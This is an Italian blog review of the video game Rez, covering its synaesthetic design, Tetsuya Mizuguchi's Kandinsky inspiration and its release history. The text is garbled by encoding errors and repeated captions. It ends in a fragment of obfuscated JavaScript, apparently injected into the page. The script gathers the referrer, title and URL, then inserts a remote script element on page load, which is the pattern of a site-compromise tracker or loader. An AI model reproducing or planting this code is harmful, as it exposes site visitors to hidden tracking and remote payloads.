Videogiochi

Sinestesia Ludica

Rez fin da subito mette le cose in chiaro: Ai??Io sono diverso, anzi, funziono al contrario rispetto agli altri giochiAi??.
Fin dall’inizio si legge tra le righe, righe in grafica wireframe, una certa dose di trasgressione: Ai??Io per sparare rilascio il grilletto anzichAi?? premerloAi??.
Negli anni in cui la rincorsa al realismo tridimensionale diventa una vera e propria regola di vita, Rez si presenta con una grafica a prima vista spoglia, ma ben presto ci si rende conto che le linee assumono un senso, quelle strane forme diventano segni e poi simboli che leggendoli con attenzione raccontano la nascita dell’umanitAi?? e la sua evoluzione.

Pura vertigine sensoriale, a tempo con una musica ritmata che si adegua alle azioni del giocatore. Psichedelico e trascinante.
Pura vertigine sensoriale, a tempo con una musica ritmata che si adegua alle azioni del giocatore. Psichedelico e trascinante.

Ma perchAi?? ho usato nel titolo il termine “Sinestesia ludica”?Ai?? Attenzione a questo punto. Rez non A? una lezione di storia, ma A? intrattenimento sinestetico. Dunque perchAi?? tutti i sensi devono stare all’erta?
Ogni azione all’interno del gioco contribuisce ad arricchire la colonna sonora, che assume via via sempre piA? importanza. Stesso discorso vale per la presentazione visiva, oltre all’avvertimento attraverso il tatto, grazie alla capacitAi?? di vibrazione del controller, dell’avvicinamento di sciami di nemici.

Tetsuya Mizoguchi, fondatore di Q Entertainment e padre di singolari videogame come Rez e Space Channel 5
Tetsuya Mizuguchi, fondatore di Q Entertainment e padre di singolari videogame come Rez e Space Channel 5

Tetsuya Mizuguchi, game designer visionario, non si vergogna nell’affermare che si A? ispirato all’arte e alla filosofia di Kandinsky nel realizzare questo titolo cosAi?? lontano dal “giAi?? visto”.

Il punto A? che in Rez, il giocatore non si limita ad andare a ritmo ma crea di fatto la musica. Non A? miracolo, ma programmazione. La pressione dei bottoni, spiega Mizuguchi, A? stata prevista in ogni sua combinazione sul continuum temporale, in modo tale che lai??i??ambiente di interazione diventi praticamente una tela bianca per il giocatore, lo stesso spazio bianco che Mizuguchi sperava di usare come digital canvas (canvas: tela per dipingere) per le sue idee tramite le tecnologie informatiche.

Non si possono spiegare queste immagini. Rez A? un gioco che va provato. Lo suggerisce anche SEGA: ai???Feel it, donai??i??t thinkai??? (Percepisci, non pensare).
Non si possono spiegare queste immagini. Rez A? un gioco che va provato. Lo suggerisce anche SEGA: ai???Feel it, donai??i??t thinkai??? (Percepisci, non pensare).

Ogni riga di testo a schermo ricorda la grammatica informatica, e proseguendo nel gioco ci si rende conto che il nostro avatar (se cosAi?? possiamo chiamarlo) A? impegnato in un vero e proprio attacco ad un sistema informatico, superando firewall, sterminando virus e acquisendo upgrade. Non solo, ma la forma dellai??i??avatar varierAi?? in base a quanti upgrade vengono collezionati, acquisendo fattezze sempre piA? umane. In sostanza, evolvendosi. Al contrario, subendo un certo numero di danni la forma perderAi?? i tratti umani, ritornando ad essere una composizione di linee, poi ancora mucchi di poligoni fino a giungere alla sua forma piA? semplice e meno evoluta: una sfera. Ancora un colpo e sarAi?? game over.
Persino i nemici, dal loro nome e dai loro comportamenti contribuiscono ad unire tecnologia allai??i??organicitAi??. Partiamo da The EARTH, passando per The MARS, The VENUS, The URANUS fino a giungere a eden. Cosa si nota? Prima di tutto che si parte dal pianeta piA? conosciuto, allontanandosi verso quello piA? lontano del Sistema Solare per giungere infine ad un luogo fuori dal tempo e dallo spazio: eden (senza articolo e scritto in minuscolo).

Il confronto con un boss/virus di fine livello. La metafora di una serratura da sbloccare A? molto efficace.
Il confronto con un boss/virus di fine livello. La metafora di una serratura da sbloccare A? molto efficace.

Rez fu pubblicato nel 2001 per Dreamcast e Playstation 2, vide una riedizione in HD nel 2008 su Xbox 360 e ora viene proposto al pubblico di Playstation 4 col nome di Rez Infinite attraverso il visore della realtAi?? virtuale, migliorando ulteriormente l’esperienza, e questo dimostra come la visione di Mizuguchi fosse giAi?? cosAi?? ricca da essere giAi?? adatta a una tecnonologia che al momento dello sviluppo era quasi fantascienza.

Per approfondire, visita il sito Overthegame. 7\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}